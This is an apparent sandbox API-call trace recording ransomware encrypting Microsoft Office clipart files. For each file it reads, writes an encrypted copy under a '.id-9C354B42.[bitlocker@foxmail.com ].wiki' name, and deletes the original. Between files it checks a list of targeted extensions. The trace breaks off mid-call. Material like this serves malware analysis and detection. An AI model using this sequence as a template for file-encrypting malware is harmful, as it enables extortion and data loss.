[0188.531] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.531] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.531] SetEndOfFile (hFile=0x1d0) returned 1 [0188.531] CloseHandle (hObject=0x1d0) returned 1 [0188.531] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.531] SetEndOfFile (hFile=0x1d8) returned 1 [0188.532] CloseHandle (hObject=0x1d8) returned 1 [0188.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0188.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0188.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0188.533] lstrlenW (lpString=".doc") returned 4 [0188.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.533] lstrlenW (lpString=".docx") returned 5 [0188.533] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.533] lstrlenW (lpString=".pdf") returned 4 [0188.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.533] lstrlenW (lpString=".xls") returned 4 [0188.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.533] lstrlenW (lpString=".xlsx") returned 5 [0188.533] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.533] lstrlenW (lpString=".ppt") returned 4 [0188.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0188.533] lstrlenW (lpString=".zip") returned 4 [0188.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.533] lstrlenW (lpString=".rar") returned 4 [0188.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.533] lstrlenW (lpString=".bz2") returned 4 [0188.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.533] lstrlenW (lpString=".7z") returned 3 [0188.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0188.533] lstrlenW (lpString=".dbf") returned 4 [0188.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0188.533] lstrlenW (lpString=".1cd") returned 4 [0188.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0188.533] lstrlenW (lpString=".jpg") returned 4 [0188.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0188.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0188.534] lstrlenW (lpString=".doc") returned 4 [0188.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.534] lstrlenW (lpString=".docx") returned 5 [0188.534] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.534] lstrlenW (lpString=".pdf") returned 4 [0188.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.534] lstrlenW (lpString=".xls") returned 4 [0188.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.534] lstrlenW (lpString=".xlsx") returned 5 [0188.534] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.534] lstrlenW (lpString=".ppt") returned 4 [0188.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0188.534] lstrlenW (lpString=".zip") returned 4 [0188.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.534] lstrlenW (lpString=".rar") returned 4 [0188.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.534] lstrlenW (lpString=".bz2") returned 4 [0188.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.534] lstrlenW (lpString=".7z") returned 3 [0188.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0188.534] lstrlenW (lpString=".dbf") returned 4 [0188.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0188.534] lstrlenW (lpString=".1cd") returned 4 [0188.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0188.534] lstrlenW (lpString=".jpg") returned 4 [0188.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.535] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.535] lstrlenW (lpString="FD00297_.WMF") returned 12 [0188.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.535] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=18194) returned 1 [0188.535] CloseHandle (hObject=0x1d8) returned 1 [0188.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x20 [0188.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.535] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.536] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.536] GetLastError () returned 0x0 [0188.536] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x4712, lpOverlapped=0x0) returned 1 [0188.538] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4720, lpOverlapped=0x0) returned 1 [0188.539] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.539] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.539] SetEndOfFile (hFile=0x1d0) returned 1 [0188.539] CloseHandle (hObject=0x1d0) returned 1 [0188.539] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.539] SetEndOfFile (hFile=0x1d8) returned 1 [0188.540] CloseHandle (hObject=0x1d8) returned 1 [0188.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.540] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0188.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0188.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0188.541] lstrlenW (lpString=".doc") returned 4 [0188.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.541] lstrlenW (lpString=".docx") returned 5 [0188.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.541] lstrlenW (lpString=".pdf") returned 4 [0188.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.541] lstrlenW (lpString=".xls") returned 4 [0188.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.541] lstrlenW (lpString=".xlsx") returned 5 [0188.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.541] lstrlenW (lpString=".ppt") returned 4 [0188.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0188.541] lstrlenW (lpString=".zip") returned 4 [0188.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.541] lstrlenW (lpString=".rar") returned 4 [0188.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.541] lstrlenW (lpString=".bz2") returned 4 [0188.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.541] lstrlenW (lpString=".7z") returned 3 [0188.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0188.541] lstrlenW (lpString=".dbf") returned 4 [0188.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0188.541] lstrlenW (lpString=".1cd") returned 4 [0188.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0188.541] lstrlenW (lpString=".jpg") returned 4 [0188.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0188.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0188.542] lstrlenW (lpString=".doc") returned 4 [0188.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.542] lstrlenW (lpString=".docx") returned 5 [0188.542] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.542] lstrlenW (lpString=".pdf") returned 4 [0188.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.542] lstrlenW (lpString=".xls") returned 4 [0188.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.542] lstrlenW (lpString=".xlsx") returned 5 [0188.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.542] lstrlenW (lpString=".ppt") returned 4 [0188.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0188.542] lstrlenW (lpString=".zip") returned 4 [0188.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.542] lstrlenW (lpString=".rar") returned 4 [0188.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.542] lstrlenW (lpString=".bz2") returned 4 [0188.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.542] lstrlenW (lpString=".7z") returned 3 [0188.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0188.542] lstrlenW (lpString=".dbf") returned 4 [0188.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0188.542] lstrlenW (lpString=".1cd") returned 4 [0188.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0188.542] lstrlenW (lpString=".jpg") returned 4 [0188.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.543] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.543] lstrlenW (lpString="FD00306_.WMF") returned 12 [0188.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.543] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=46814) returned 1 [0188.543] CloseHandle (hObject=0x1d8) returned 1 [0188.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x20 [0188.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.543] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.543] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.544] GetLastError () returned 0x0 [0188.544] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xb6de, lpOverlapped=0x0) returned 1 [0188.546] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xb6e0, lpOverlapped=0x0) returned 1 [0188.548] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.548] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.548] SetEndOfFile (hFile=0x1d0) returned 1 [0188.548] CloseHandle (hObject=0x1d0) returned 1 [0188.548] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.549] SetEndOfFile (hFile=0x1d8) returned 1 [0188.728] CloseHandle (hObject=0x1d8) returned 1 [0188.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0188.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0188.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0188.728] lstrlenW (lpString=".doc") returned 4 [0188.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.729] lstrlenW (lpString=".docx") returned 5 [0188.729] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.729] lstrlenW (lpString=".pdf") returned 4 [0188.729] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.729] lstrlenW (lpString=".xls") returned 4 [0188.729] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.729] lstrlenW (lpString=".xlsx") returned 5 [0188.729] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.729] lstrlenW (lpString=".ppt") returned 4 [0188.729] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0188.729] lstrlenW (lpString=".zip") returned 4 [0188.729] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.729] lstrlenW (lpString=".rar") returned 4 [0188.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.729] lstrlenW (lpString=".bz2") returned 4 [0188.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.729] lstrlenW (lpString=".7z") returned 3 [0188.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0188.729] lstrlenW (lpString=".dbf") returned 4 [0188.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0188.729] lstrlenW (lpString=".1cd") returned 4 [0188.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0188.729] lstrlenW (lpString=".jpg") returned 4 [0188.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0188.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0188.729] lstrlenW (lpString=".doc") returned 4 [0188.729] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.730] lstrlenW (lpString=".docx") returned 5 [0188.730] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.730] lstrlenW (lpString=".pdf") returned 4 [0188.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.730] lstrlenW (lpString=".xls") returned 4 [0188.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.730] lstrlenW (lpString=".xlsx") returned 5 [0188.730] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.730] lstrlenW (lpString=".ppt") returned 4 [0188.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0188.730] lstrlenW (lpString=".zip") returned 4 [0188.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.730] lstrlenW (lpString=".rar") returned 4 [0188.730] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.730] lstrlenW (lpString=".bz2") returned 4 [0188.730] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.730] lstrlenW (lpString=".7z") returned 3 [0188.730] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0188.730] lstrlenW (lpString=".dbf") returned 4 [0188.730] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0188.730] lstrlenW (lpString=".1cd") returned 4 [0188.730] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0188.730] lstrlenW (lpString=".jpg") returned 4 [0188.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.730] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.731] lstrlenW (lpString="FD00428_.WMF") returned 12 [0188.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.731] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4796) returned 1 [0188.731] CloseHandle (hObject=0x1d8) returned 1 [0188.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x20 [0188.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.732] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.732] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0188.732] GetLastError () returned 0x0 [0188.732] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x12bc, lpOverlapped=0x0) returned 1 [0188.896] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x12c0, lpOverlapped=0x0) returned 1 [0188.897] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.897] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, 